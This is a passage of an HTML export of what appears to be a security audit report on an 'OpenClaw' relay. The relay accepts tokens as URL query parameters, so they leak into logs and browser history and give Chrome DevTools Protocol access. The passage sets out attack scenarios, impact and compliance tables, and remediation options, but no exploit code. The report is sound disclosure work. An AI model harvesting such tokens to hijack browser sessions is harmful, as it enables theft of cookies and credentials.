<b>Access</b>: Often accessible to SOC analysts, DevOps teams, security auditors</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80939dddd8d8c2a277ed" data-id="3230f0c5b87c80939dddd8d8c2a277ed"><span><div id="3230f0c5b87c80939dddd8d8c2a277ed" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80939dddd8d8c2a277ed" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8044bbf5dfb25741e149" data-id="3230f0c5b87c8044bbf5dfb25741e149"><span><div id="3230f0c5b87c8044bbf5dfb25741e149" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8044bbf5dfb25741e149" title="1. Credential Theft"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. Credential Theft</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a682f7f78de95ed762"><b>Scenario</b>: Attacker with read access to any log source obtains relay token</div><div class="notion-text notion-block-3230f0c5b87c8005a023f6056af48493"><b>Consequences</b>:
- Full Chrome DevTools Protocol access
- No additional authentication required
- Token validity: Derived from gateway token (no TTL unless gateway token rotates)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80568afbf462ddf93c5f" data-id="3230f0c5b87c80568afbf462ddf93c5f"><span><div id="3230f0c5b87c80568afbf462ddf93c5f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80568afbf462ddf93c5f" title="2. Chrome DevTools Protocol Abuse"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. Chrome DevTools Protocol Abuse</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808bae59fa57f826fe9f">With stolen token, attacker can:</div><div class="notion-text notion-block-3230f0c5b87c807fbc70f09b925ab895"><b>JavaScript Execution</b>:</div><div class="notion-text notion-block-3230f0c5b87c8093bb27c8eba89061c4"><b>Page Screenshot</b>:</div><div class="notion-text notion-block-3230f0c5b87c80bfb650f285b8b46896"><b>DOM Manipulation</b>:</div><div class="notion-text notion-block-3230f0c5b87c803da094eee7d8a3308f"><b>Network Interception</b>:</div><div class="notion-text notion-block-3230f0c5b87c804ba5bff294b25c8593"><b>Navigation Control</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bd8047e075cfa99f0a" data-id="3230f0c5b87c80bd8047e075cfa99f0a"><span><div id="3230f0c5b87c80bd8047e075cfa99f0a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bd8047e075cfa99f0a" title="3. Session Hijacking"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Session Hijacking</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8045b40bf65d262f7f12"><b>Attack Chain</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809f8cd8d38614c2ca2c" data-id="3230f0c5b87c809f8cd8d38614c2ca2c"><span><div id="3230f0c5b87c809f8cd8d38614c2ca2c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809f8cd8d38614c2ca2c" title="4. Insider Threat Amplification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Insider Threat Amplification</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8088b680e4ecb05b9c6a"><b>Scenario</b>: Low-privilege employee with log read access</div><div class="notion-text notion-block-3230f0c5b87c804fbd1df79a3adc8f80"><b>Capability Escalation</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809d9112cd9747819bad" data-id="3230f0c5b87c809d9112cd9747819bad"><span><div id="3230f0c5b87c809d9112cd9747819bad" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809d9112cd9747819bad" title="5. Supply Chain Risk"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. Supply Chain Risk</span></span></h4><div class="notion-text notion-block-3230f0c5b87c801890ddf65c3a9e418c"><b>Scenario</b>: Third-party log processing vendor compromise</div><div class="notion-text notion-block-3230f0c5b87c80aebf31c76fc2faf8ca"><b>Impact</b>:
- Vendor processes logs containing relay tokens
- Vendor breach → all relay tokens compromised
- Attacker gains CDP access across all customers</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f68bc6ced8706c266e" data-id="3230f0c5b87c80f68bc6ced8706c266e"><span><div id="3230f0c5b87c80f68bc6ced8706c266e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f68bc6ced8706c266e" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809b9c01feb97dbc95b6" data-id="3230f0c5b87c809b9c01feb97dbc95b6"><span><div id="3230f0c5b87c809b9c01feb97dbc95b6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809b9c01feb97dbc95b6" title="Scenario A: SOC Analyst Token Harvesting"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario A: SOC Analyst Token Harvesting</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80759d1ef029a420cdba" data-id="3230f0c5b87c80759d1ef029a420cdba"><span><div id="3230f0c5b87c80759d1ef029a420cdba" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80759d1ef029a420cdba" title="Scenario B: Cloud Log Breach"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario B: Cloud Log Breach</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e8ad8bcc0f506ad7ea" data-id="3230f0c5b87c80e8ad8bcc0f506ad7ea"><span><div id="3230f0c5b87c80e8ad8bcc0f506ad7ea" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e8ad8bcc0f506ad7ea" title="Scenario C: Browser History Forensics"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario C: Browser History Forensics</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b7a8c8e5d7236802df"><b>复现截图 - 实时令牌捕获演示：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80fb987fd0cbeafbc6b5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa006_step3_capture.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80fb-987f-d0cbeafbc6b5" alt="Capture Demo" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8018b0a8cb16b81bff2b">Capture Demo</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d997cfeb52e7168908" data-id="3230f0c5b87c80d997cfeb52e7168908"><span><div id="3230f0c5b87c80d997cfeb52e7168908" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d997cfeb52e7168908" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80ef90abf2d42b177321"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80eea1a5d49c89df9a42"><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Severity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Details</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80deaed3f2d697eb58e3"><td class="" style="width:120px"><div class="notion-simple-table-cell">Confidentiality</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Full browser content accessible (cookies, form data, DOM)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c806e95b4c40b07b32ed5"><td class="" style="width:120px"><div class="notion-simple-table-cell">Integrity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Attacker can inject JavaScript, modify page content</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80c298f3ddde97a65489"><td class="" style="width:120px"><div class="notion-simple-table-cell">Availability</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Attacker could navigate away from legitimate sites (DoS)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80f391cbd617116080fd"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">PCI-DSS 3.2.1: Credentials must not be sent via GET</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80169af6df58501e7323"><td class="" style="width:120px"><div class="notion-simple-table-cell">ㅤ</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">ㅤ</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GDPR Art. 32: Inadequate credential protection</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80088083c6db358ec58c"><td class="" style="width:120px"><div class="notion-simple-table-cell">Legal Liability</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Breach notification requirements if tokens compromised</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80d392d4db3caa1c5593"><td class="" style="width:120px"><div class="notion-simple-table-cell">Reputation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Security best practice violation (OWASP A02:2021)</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80778d91f5fedb4c4d95" data-id="3230f0c5b87c80778d91f5fedb4c4d95"><span><div id="3230f0c5b87c80778d91f5fedb4c4d95" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80778d91f5fedb4c4d95" title="Compliance Violations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Compliance Violations</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80da907be9db3b4dd417" data-id="3230f0c5b87c80da907be9db3b4dd417"><span><div id="3230f0c5b87c80da907be9db3b4dd417" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80da907be9db3b4dd417" title="PCI-DSS 3.2.1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">PCI-DSS 3.2.1</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c0be15cddc180a6c28"><li><b>Requirement 6.5.10</b>: Broken authentication and session management</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80de82b7c5eb7b05af39"><li><b>Violation</b>: Credentials transmitted via GET request (query parameters)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80708b52e05e02a83a73" data-id="3230f0c5b87c80708b52e05e02a83a73"><span><div id="3230f0c5b87c80708b52e05e02a83a73" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80708b52e05e02a83a73" title="OWASP Top 10 2021"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">OWASP Top 10 2021</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80599f08c9baaf8c6911"><li><b>A02:2021 – Cryptographic Failures</b>: Sensitive data exposure</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ccb409d83d7dcfd36b"><li><b>A04:2021 – Insecure Design</b>: Accepting credentials in insecure manner</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800ea928c092cc2be673" data-id="3230f0c5b87c800ea928c092cc2be673"><span><div id="3230f0c5b87c800ea928c092cc2be673" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800ea928c092cc2be673" title="CWE"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">CWE</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80718847eccb5e6fb4df"><li><b>CWE-598</b>: Use of GET Request Method With Sensitive Query Strings</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8097a079e4fe41ce3028"><li><b>CWE-532</b>: Insertion of Sensitive Information into Log File</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8040ae5dd3646e5e33f4" data-id="3230f0c5b87c8040ae5dd3646e5e33f4"><span><div id="3230f0c5b87c8040ae5dd3646e5e33f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8040ae5dd3646e5e33f4" title="Affected Configurations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Configurations</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fda2c1ec39b4071108" data-id="3230f0c5b87c80fda2c1ec39b4071108"><span><div id="3230f0c5b87c80fda2c1ec39b4071108" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fda2c1ec39b4071108" title="High Risk Deployments:"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">High Risk Deployments:</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f69a93e533569b3c2d"><li>✅ Relay exposed behind reverse proxy (nginx, Apache, ALB)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d4b4a5fad3e0f569be"><li>✅ Corporate network with MITM proxies</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8058b9cdf9fb20860a04"><li>✅ Centralized logging enabled (Splunk, ELK)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803e9b31ec185b4071cd"><li>✅ Multi-user systems with shared browser history</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80888e39daa7c7a5c6e5" data-id="3230f0c5b87c80888e39daa7c7a5c6e5"><span><div id="3230f0c5b87c80888e39daa7c7a5c6e5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80888e39daa7c7a5c6e5" title="Lower Risk (but still vulnerable):"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Lower Risk (but still vulnerable):</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802685e9c5de1d0f2408"><li>Relay bound to localhost only</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a8b4def1fe912b422c"><li>No reverse proxy in front</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ec8fd3c177fe52f79a"><li>Browser history disabled</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f6b0bdc90afb12fcdc"><li>Local development environment</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802a88d0d939a1aa6871" data-id="3230f0c5b87c802a88d0d939a1aa6871"><span><div id="3230f0c5b87c802a88d0d939a1aa6871" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802a88d0d939a1aa6871" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80268259f5d931f802c8" data-id="3230f0c5b87c80268259f5d931f802c8"><span><div id="3230f0c5b87c80268259f5d931f802c8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80268259f5d931f802c8" title="Option A: Remove Query Parameter Support (Recommended)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Option A: Remove Query Parameter Support (Recommended)</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f88461c21441acbfac" data-id="3230f0c5b87c80f88461c21441acbfac"><span><div id="3230f0c5b87c80f88461c21441acbfac" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f88461c21441acbfac" title="Option B: Add Warning + Logging"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Option B: Add Warning + Logging</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80729e0dc17f4a75a43d" 